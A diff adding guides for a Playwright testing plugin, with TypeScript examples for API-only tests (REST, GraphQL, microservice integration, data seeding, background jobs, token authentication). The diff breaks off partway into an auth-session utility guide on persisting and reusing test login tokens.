+test.describe('Users API', () => {
+  test('should create user', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: {
+        name: 'John Doe',
+        email: 'john@example.com',
+        role: 'user',
+      },
+    });
+
+    expect(response.status()).toBe(201);
+
+    const user = await response.json();
+    expect(user.id).toBeDefined();
+    expect(user.name).toBe('John Doe');
+    expect(user.email).toBe('john@example.com');
+  });
+
+  test('should get user by ID', async ({ request }) => {
+    // Create user first
+    const createResponse = await request.post('/api/users', {
+      data: { name: 'Jane Doe', email: 'jane@example.com' },
+    });
+    const { id } = await createResponse.json();
+
+    // Get user
+    const getResponse = await request.get(`/api/users/${id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const user = await getResponse.json();
+    expect(user.id).toBe(id);
+    expect(user.name).toBe('Jane Doe');
+  });
+
+  test('should return 404 for non-existent user', async ({ request }) => {
+    const response = await request.get('/api/users/non-existent-id');
+    expect(response.status()).toBe(404);
+
+    const error = await response.json();
+    expect(error.code).toBe('USER_NOT_FOUND');
+  });
+
+  test('should validate required fields', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: { name: 'Missing Email' }, // email is required
+    });
+
+    expect(response.status()).toBe(400);
+
+    const error = await response.json();
+    expect(error.code).toBe('VALIDATION_ERROR');
+    expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
+  });
+});
+```
+
+**Key Points**:
+
+- No `page` fixture needed - only `request`
+- Tests run without browser overhead
+- Direct HTTP assertions
+- Clear error handling tests
+
+### Example 2: API Test with apiRequest Utility
+
+**Context**: Use enhanced apiRequest for schema validation, retry, and type safety.
+
+**Implementation**:
+
+```typescript
+// tests/api/orders.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// Define schema for type safety and validation
+const OrderSchema = z.object({
+  id: z.string().uuid(),
+  userId: z.string(),
+  items: z.array(
+    z.object({
+      productId: z.string(),
+      quantity: z.number().positive(),
+      price: z.number().positive(),
+    }),
+  ),
+  total: z.number().positive(),
+  status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
+  createdAt: z.string().datetime(),
+});
+
+type Order = z.infer<typeof OrderSchema>;
+
+test.describe('Orders API', () => {
+  test('should create order with schema validation', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<Order>({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [
+          { productId: 'prod-1', quantity: 2, price: 29.99 },
+          { productId: 'prod-2', quantity: 1, price: 49.99 },
+        ],
+      },
+      validateSchema: OrderSchema, // Validates response matches schema
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined();
+    expect(body.status).toBe('pending');
+    expect(body.total).toBe(109.97); // 2*29.99 + 49.99
+  });
+
+  test('should handle server errors with retry', async ({ apiRequest }) => {
+    // apiRequest retries 5xx errors by default
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders/order-123',
+      retryConfig: {
+        maxRetries: 3,
+        retryDelay: 1000,
+      },
+    });
+
+    expect(status).toBe(200);
+  });
+
+  test('should list orders with pagination', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
+      method: 'GET',
+      path: '/api/orders',
+      params: { page: 1, limit: 10, status: 'pending' },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+    expect(body.page).toBe(1);
+  });
+});
+```
+
+**Key Points**:
+
+- Zod schema for runtime validation AND TypeScript types
+- `validateSchema` throws if response doesn't match
+- Built-in retry for transient failures
+- Type-safe `body` access
+- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+)
+
+### Example 3: Microservice-to-Microservice Testing
+
+**Context**: Test service interactions without browser - validate API contracts between services.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-integration.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Service Integration', () => {
+  const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+  const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+  const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';
+
+  test('order service should validate user exists', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE_URL,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (should validate user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('order service should reject invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+
+  test('order should decrease inventory', async ({ apiRequest, recurse }) => {
+    // Get initial inventory
+    const { body: initialInventory } = await apiRequest({
+      method: 'GET',
+      path: '/api/inventory/prod-1',
+      baseUrl: INVENTORY_SERVICE_URL,
+    });
+
+    // Create order
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    // Poll for inventory update (eventual consistency)
+    const { body: updatedInventory } = await recurse(
+      () =>
+        apiRequest({
+          method: 'GET',
+          path: '/api/inventory/prod-1',
+          baseUrl: INVENTORY_SERVICE_URL,
+        }),
+      (response) => response.body.quantity === initialInventory.quantity - 2,
+      { timeout: 10000, interval: 500 },
+    );
+
+    expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
+  });
+});
+```
+
+**Key Points**:
+
+- Multiple service URLs for microservice testing
+- Tests service-to-service communication
+- Uses `recurse` for eventual consistency
+- No browser needed for full integration testing
+
+### Example 4: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+// tests/api/graphql.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+const GRAPHQL_ENDPOINT = '/graphql';
+
+test.describe('GraphQL API', () => {
+  test('should query users', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+          role
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+    expect(body.data.users[0]).toHaveProperty('id');
+    expect(body.data.users[0]).toHaveProperty('name');
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: 'GraphQL User',
+            email: 'graphql@example.com',
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.createUser.id).toBeDefined();
+    expect(body.data.createUser.name).toBe('GraphQL User');
+  });
+
+  test('should handle GraphQL errors', async ({ apiRequest }) => {
+    const query = `
+      query GetUser($id: ID!) {
+        user(id: $id) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { id: 'non-existent' },
+      },
+    });
+
+    expect(status).toBe(200); // GraphQL returns 200 even for errors
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].message).toContain('not found');
+    expect(body.data.user).toBeNull();
+  });
+
+  test('should handle validation errors', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: '', // Invalid: empty name
+            email: 'invalid-email', // Invalid: bad format
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL queries and mutations via POST
+- Variables passed in request body
+- GraphQL returns 200 even for errors (check `body.errors`)
+- Test validation and business logic errors
+
+### Example 5: Database Seeding and Cleanup via API
+
+**Context**: Use API calls to set up and tear down test data without direct database access.
+
+**Implementation**:
+
+```typescript
+// tests/api/with-data-setup.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Orders with Data Setup', () => {
+  let testUser: { id: string; email: string };
+  let testProducts: Array<{ id: string; name: string; price: number }>;
+
+  test.beforeAll(async ({ request }) => {
+    // Seed user via API
+    const userResponse = await request.post('/api/users', {
+      data: {
+        name: 'Test User',
+        email: `test-${Date.now()}@example.com`,
+      },
+    });
+    testUser = await userResponse.json();
+
+    // Seed products via API
+    testProducts = [];
+    for (const product of [
+      { name: 'Widget A', price: 29.99 },
+      { name: 'Widget B', price: 49.99 },
+      { name: 'Widget C', price: 99.99 },
+    ]) {
+      const productResponse = await request.post('/api/products', {
+        data: product,
+      });
+      testProducts.push(await productResponse.json());
+    }
+  });
+
+  test.afterAll(async ({ request }) => {
+    // Cleanup via API
+    if (testUser?.id) {
+      await request.delete(`/api/users/${testUser.id}`);
+    }
+    for (const product of testProducts) {
+      await request.delete(`/api/products/${product.id}`);
+    }
+  });
+
+  test('should create order with seeded data', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [
+          { productId: testProducts[0].id, quantity: 2 },
+          { productId: testProducts[1].id, quantity: 1 },
+        ],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(body.userId).toBe(testUser.id);
+    expect(body.items).toHaveLength(2);
+    expect(body.total).toBe(2 * 29.99 + 49.99);
+  });
+
+  test('should list user orders', async ({ apiRequest }) => {
+    // Create an order first
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [{ productId: testProducts[2].id, quantity: 1 }],
+      },
+    });
+
+    // List orders for user
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders',
+      params: { userId: testUser.id },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders.length).toBeGreaterThanOrEqual(1);
+    expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
+  });
+});
+```
+
+**Key Points**:
+
+- `beforeAll`/`afterAll` for test data setup/cleanup
+- API-based seeding (no direct DB access needed)
+- Unique emails to prevent conflicts in parallel runs
+- Cleanup after all tests complete
+
+### Example 6: Background Job Testing with Recurse
+
+**Context**: Test async operations like background jobs, webhooks, and eventual consistency.
+
+**Implementation**:
+
+```typescript
+// tests/api/background-jobs.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Background Jobs', () => {
+  test('should process export job', async ({ apiRequest, recurse }) => {
+    // Trigger export job
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'users',
+        format: 'csv',
+        filters: { createdAfter: '2024-01-01' },
+      },
+    });
+
+    expect(job.id).toBeDefined();
+    expect(job.status).toBe('pending');
+
+    // Poll until job completes
+    const { body: completedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => response.body.status === 'completed',
+      {
+        timeout: 60000,
+        interval: 2000,
+        log: `Waiting for export job ${job.id} to complete`,
+      },
+    );
+
+    expect(completedJob.status).toBe('completed');
+    expect(completedJob.downloadUrl).toBeDefined();
+    expect(completedJob.recordCount).toBeGreaterThan(0);
+  });
+
+  test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
+    // Trigger job that will fail
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'invalid-type', // This will cause failure
+        format: 'csv',
+      },
+    });
+
+    // Poll until job fails
+    const { body: failedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => ['completed', 'failed'].includes(response.body.status),
+      { timeout: 30000 },
+    );
+
+    expect(failedJob.status).toBe('failed');
+    expect(failedJob.error).toBeDefined();
+    expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
+  });
+
+  test('should process webhook delivery', async ({ apiRequest, recurse }) => {
+    // Trigger action that sends webhook
+    const { body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+        webhookUrl: 'https://webhook.site/test-endpoint',
+      },
+    });
+
+    // Poll for webhook delivery status
+    const { body: webhookStatus } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
+      (response) => response.body.delivered === true,
+      { timeout: 30000, interval: 1000 },
+    );
+
+    expect(webhookStatus.delivered).toBe(true);
+    expect(webhookStatus.deliveredAt).toBeDefined();
+    expect(webhookStatus.responseStatus).toBe(200);
+  });
+});
+```
+
+**Key Points**:
+
+- `recurse` for polling async operations
+- Test both success and failure scenarios
+- Configurable timeout and interval
+- Log messages for debugging
+
+### Example 7: Service Authentication (No Browser)
+
+**Context**: Test authenticated API endpoints using tokens directly - no browser login needed.
+
+**Implementation**:
+
+```typescript
+// tests/api/authenticated.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Authenticated API Tests', () => {
+  let authToken: string;
+
+  test.beforeAll(async ({ request }) => {
+    // Get token via API (no browser!)
+    const response = await request.post('/api/auth/login', {
+      data: {
+        email: process.env.TEST_USER_EMAIL,
+        password: process.env.TEST_USER_PASSWORD,
+      },
+    });
+
+    const { token } = await response.json();
+    authToken = token;
+  });
+
+  test('should access protected endpoint with token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.email).toBe(process.env.TEST_USER_EMAIL);
+  });
+
+  test('should reject request without token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      // No Authorization header
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('UNAUTHORIZED');
+  });
+
+  test('should reject expired token', async ({ apiRequest }) => {
+    const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token
+
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${expiredToken}`,
+      },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('TOKEN_EXPIRED');
+  });
+
+  test('should handle role-based access', async ({ apiRequest }) => {
+    // User token (non-admin)
+    const { status } = await apiRequest({
+      method: 'GET',
+      path: '/api/admin/users',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(403); // Forbidden for non-admin
+  });
+});
+```
+
+**Key Points**:
+
+- Token obtained via API login (no browser)
+- Token reused across all tests in describe block
+- Test auth, expired tokens, and RBAC
+- Pure API testing without UI
+
+### Example 8: Operation-Based API Testing (OpenAPI / Code Generators)
+
+**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters.
+
+**Implementation**:
+
+```typescript
+// tests/api/operations.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.describe('API Tests with Generated Operations', () => {
+  test('should create entity with full type safety', async ({ apiRequest }) => {
+    // Operation object from code generator — contains path, method, and type info
+    const { status, body } = await apiRequest({
+      operation: createEntityOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: entityInput, // Compile-time typed from operation.request
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined(); // body typed from operation.response
+  });
+
+  test('should list with typed query parameters', async ({ apiRequest }) => {
+    // query field replaces manual string concatenation
+    const { body } = await apiRequest({
+      operation: listEntitiesOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      query: { page: 0, page_size: 10, status: 'active' },
+    });
+
+    expect(body.items).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+  });
+
+  test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
+    const { body: job } = await apiRequest({
+      operation: startJobOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: { type: 'export' },
+    });
+
+    await recurse(
+      async () =>
+        apiRequest({
+          operation: getJobOp({ workspaceId, jobId: job.id }),
+          headers: getHeaders(workspaceId),
+        }),
+      (res) => res.body.status === 'completed',
+      { timeout: 60000, interval: 2000 },
+    );
+  });
+});
+```
+
+**Key Points**:
+
+- `operation` replaces `method` + `path` — mutually exclusive at compile time
+- Types for body, response, and query all inferred from the operation definition
+- Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
+- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features
+- Preferred approach over `typeof operation.response` for generated operations
+
+## API Test Configuration
+
+### Playwright Config for API-Only Tests
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  testDir: './tests/api',
+
+  // No browser needed for API tests
+  use: {
+    baseURL: process.env.API_URL || 'http://localhost:3000',
+    extraHTTPHeaders: {
+      Accept: 'application/json',
+      'Content-Type': 'application/json',
+    },
+  },
+
+  // Faster without browser overhead
+  timeout: 30000,
+
+  // Run API tests in parallel
+  workers: 4,
+  fullyParallel: true,
+
+  // No screenshots/traces needed for API tests
+  reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
+});
+```
+
+### Separate API Test Project
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  projects: [
+    {
+      name: 'api',
+      testDir: './tests/api',
+      use: {
+        baseURL: process.env.API_URL,
+      },
+    },
+    {
+      name: 'e2e',
+      testDir: './tests/e2e',
+      use: {
+        baseURL: process.env.APP_URL,
+        ...devices['Desktop Chrome'],
+      },
+    },
+  ],
+});
+```
+
+## Comparison: API Tests vs E2E Tests
+
+| Aspect              | API Test               | E2E Test                    |
+| ------------------- | ---------------------- | --------------------------- |
+| **Speed**           | ~50-100ms per test     | ~2-10s per test             |
+| **Stability**       | Very stable            | More flaky (UI timing)      |
+| **Setup**           | Minimal                | Browser, context, page      |
+| **Debugging**       | Clear request/response | DOM, screenshots, traces    |
+| **Coverage**        | Service logic          | User experience             |
+| **Parallelization** | Easy (stateless)       | Complex (browser resources) |
+| **CI Cost**         | Low (no browser)       | High (browser containers)   |
+
+## Related Fragments
+
+- `api-request.md` - apiRequest utility details
+- `recurse.md` - Polling patterns for async operations
+- `auth-session.md` - Token management
+- `contract-testing.md` - Pact contract testing
+- `test-levels-framework.md` - When to use which test level
+- `data-factories.md` - Test data setup patterns
+
+## Anti-Patterns
+
+**DON'T use E2E for API validation:**
+
+```typescript
+// Bad: Testing API through UI
+test('validate user creation', async ({ page }) => {
+  await page.goto('/admin/users');
+  await page.fill('#name', 'John');
+  await page.click('#submit');
+  await expect(page.getByText('User created')).toBeVisible();
+});
+```
+
+**DO test APIs directly:**
+
+```typescript
+// Good: Direct API test
+test('validate user creation', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'John' },
+  });
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**DON'T ignore API tests because "E2E covers it":**
+
+```typescript
+// Bad thinking: "Our E2E tests create users, so API is tested"
+// Reality: E2E tests one happy path; API tests cover edge cases
+```
+
+**DO have dedicated API test coverage:**
+
+```typescript
+// Good: Explicit API test suite
+test.describe('Users API', () => {
+  test('creates user', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles duplicate email', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('validates required fields', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles malformed JSON', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('rate limits requests', async ({ apiRequest }) => {
+    /* ... */
+  });
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/auth-session.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/auth-session.md
new file mode 100644
index 0000000..905472f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/auth-session.md
@@ -0,0 +1,548 @@
+# Auth Session Utility
+
+## Principle
+
+Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.**
+
+## Rationale
+
+Playwright's built-in authentication works but has limitations:
+
+- Re-authenticates for every test run (slow)
+- Single user per project setup
+- No token expiration handling
+- Manual session management
+- Complex setup for multi-user scenarios
+
+The `auth-session` utility provides:
+
+- **Token persistence**: Authenticate once, reuse across runs
+- **Multi-user support**: Different user identifiers in same test suite
+- **Ephemeral auth**: On-the-fly user authentication without disk persistence
+- **Worker-specific accounts**: Parallel execution with isolated user accounts
+- **Automatic token management**: Checks validity, renews if expired
+- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom)
+- **API-first design**: Get tokens for API tests without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic Auth Session Setup
+
+**Context**: Configure global authentication that persists across test runs.
+
+**Implementation**:
+
+```typescript
+// Step 1: Configure in global-setup.ts
+import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './auth/custom-auth-provider';
+
+async function globalSetup() {
+  // Ensure storage directories exist
+  authStorageInit();
+
+  // Configure storage path
+  configureAuthSession({
+    authStoragePath: process.cwd() + '/playwright/auth-sessions',
+    debug: true,
+  });
+
+  // Set custom provider (HOW to authenticate)
+  setAuthProvider(myCustomProvider);
+
+  // Optional: pre-fetch token for default user
+  await authGlobalInit();
+}
+
+export default globalSetup;
+
+// Step 2: Create auth fixture
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './custom-auth-provider';
+
+// Register provider early
+setAuthProvider(myCustomProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests
+test('authenticated request', async ({ authToken, request }) => {
+  const response = await request.get('/api/protected', {
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(response.ok()).toBeTruthy();
+});
+```
+
+**Key Points**:
+
+- Global setup runs once before all tests
+- Token fetched once, reused across all tests
+- Custom provider defines your auth mechanism
+- Order matters: configure, then setProvider, then init
+
+### Example 2: Multi-User Authentication
+
+**Context**: Testing with different user roles (admin, regular user, guest) in same test suite.
+
+**Implementation**:
+
+```typescript
+import { test } from '../support/auth/auth-fixture';
+
+// Option 1: Per-test user override
+test('admin actions', async ({ authToken, authOptions }) => {
+  // Override default user
+  authOptions.userIdentifier = 'admin';
+
+  const { authToken: adminToken } = await test.step('Get admin token', async () => {
+    return { authToken }; // Re-fetches with new identifier
+  });
+
+  // Use admin token
+  const response = await request.get('/api/admin/users', {
+    headers: { Authorization: `Bearer ${adminToken}` },
+  });
+});
+
+// Option 2: Parallel execution with different users
+test.describe.parallel('multi-user tests', () => {
+  test('user 1 actions', async ({ authToken }) => {
+    // Uses default user (e.g., 'user1')
+  });
+
+  test('user 2 actions', async ({ authToken, authOptions }) => {
+    authOptions.userIdentifier = 'user2';
+    // Uses different token for user2
+  });
+});
+```
+
+**Key Points**:
+
+- Override `authOptions.userIdentifier` per test
+- Tokens cached separately per user identifier
+- Parallel tests isolated with different users
+- Worker-specific accounts possible
+
+### Example 3: Ephemeral User Authentication
+
+**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow).
+
+**Implementation**:
+
+```typescript
+import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
+import { createTestUser } from '../utils/user-factory';
+
+test('ephemeral user test', async ({ context, page }) => {
+  // Create temporary user (not persisted)
+  const ephemeralUser = await createTestUser({
+    role: 'admin',
+    permissions: ['delete-users'],
+  });
+
+  // Apply auth directly to browser context
+  await applyUserCookiesToBrowserContext(context, ephemeralUser);
+
+  // Page now authenticated as ephemeral user
+  await page.goto('/admin/users');
+
+  await expect(page.getByTestId('delete-user-btn')).toBeVisible();
+
+  // User and token cleaned up after test
+});
+```
+
+**Key Points**:
+
+- No disk persistence (ephemeral)
+- Apply cookies directly to context
+- Useful for testing user lifecycle
+- Clean up automatic when test ends
+
+### Example 4: Testing Multiple Users in Single Test
+
+**Context**: Testing interactions between users (messaging, sharing, collaboration features).
+
+**Implementation**:
+
+```typescript
+test('user interaction', async ({ browser }) => {
+  // User 1 context
+  const user1Context = await browser.newContext({
+    storageState: './auth-sessions/local/user1/storage-state.json',
+  });
+  const user1Page = await user1Context.newPage();
+
+  // User 2 context
+  const user2Context = await browser.newContext({
+    storageState: './auth-sessions/local/user2/storage-state.json',
+  });
+  const user2Page = await user2Context.newPage();
+
+  // User 1 sends message
+  await user1Page.goto('/messages');
+  await user1Page.fill('#message', 'Hello from user 1');
+  await user1Page.click('#send');
+
+  // User 2 receives message
+  await user2Page.goto('/messages');
+  await expect(user2Page.getByText('Hello from user 1')).toBeVisible();
+
+  // Cleanup
+  await user1Context.close();
+  await user2Context.close();
+});
+```
+
+**Key Points**:
+
+- Each user has separate browser context
+- Reference storage state files directly
+- Test real-time interactions
+- Clean up contexts after test
+
+### Example 5: Worker-Specific Accounts (Parallel Testing)
+
+**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  workers: 4, // 4 parallel workers
+  use: {
+    // Each worker uses different user
+    storageState: async ({}, use, testInfo) => {
+      const workerIndex = testInfo.workerIndex;
+      const userIdentifier = `worker-${workerIndex}`;
+
+      await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
+    },
+  },
+});
+
+// Tests run in parallel, each worker with its own user
+test('parallel test 1', async ({ page }) => {
+  // Worker 0 uses worker-0 account
+  await page.goto('/dashboard');
+});
+
+test('parallel test 2', async ({ page }) => {
+  // Worker 1 uses worker-1 account
+  await page.goto('/dashboard');
+});
+```
+
+**Key Points**:
+
+- Each worker has isolated user account
+- No conflicts in parallel execution
+- Token management automatic per worker
+- Scales to any number of workers
+
+### Example 6: Pure API Authentication (No Browser)
+
+**Context**: Get auth tokens for API-only tests using auth-session disk persistence.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create API-only auth provider (no browser needed)
+// playwright/support/api-auth-provider.ts
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const apiAuthProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+  getUserIdentifier: (options) => options.userIdentifier || 'api-user',
+
+  extractToken: (storageState) => {
+    // Token stored in localStorage format for disk persistence
+    const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
+    return tokenEntry?.value;
+  },
+
+  isTokenExpired: (storageState) => {
+    const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
+    if (!expiryEntry) return true;
+    return Date.now() > parseInt(expiryEntry.value, 10);
+  },
+
+  manageAuthToken: async (request, options) => {
+    const email = process.env.TEST_USER_EMAIL;
+    const password = process.env.TEST_USER_PASSWORD;
+
+    if (!email || !password) {
+      throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
+    }
+
+    // Pure API login - no browser!
+    const response = await request.post('/api/auth/login', {
+      data: { email, password },
+    });
+
+    if (!response.ok()) {
+      throw new Error(`Auth failed: ${response.status()}`);
+    }
+
+    const { token, expiresIn } = await response.json();
+    const expiryTime = Date.now() + expiresIn * 1000;
+
+    // Return storage state format for disk persistence
+    return {
+      cookies: [],
+      origins: [
+        {
+          origin: process.env.API_BASE_URL || 'http://localhost:3000',
+          localStorage: [
+            { name: 'auth_token', value: token },
+            { name: 'token_expiry', value: String(expiryTime) },
+          ],
+        },
+      ],
+    };
+  },
+};
+
+export default apiAuthProvider;
+
+// Step 2: Create auth fixture
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import apiAuthProvider from './api-auth-provider';
+
+setAuthProvider(apiAuthProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests - token persisted to disk!
+// tests/api/authenticated-api.spec.ts
+import { test } from '../support/fixtures';
+import { expect } from '@playwright/test';
+
+test('should access protected endpoint', async ({ authToken, apiRequest }) => {
+  // authToken is automatically loaded from disk or fetched if expired
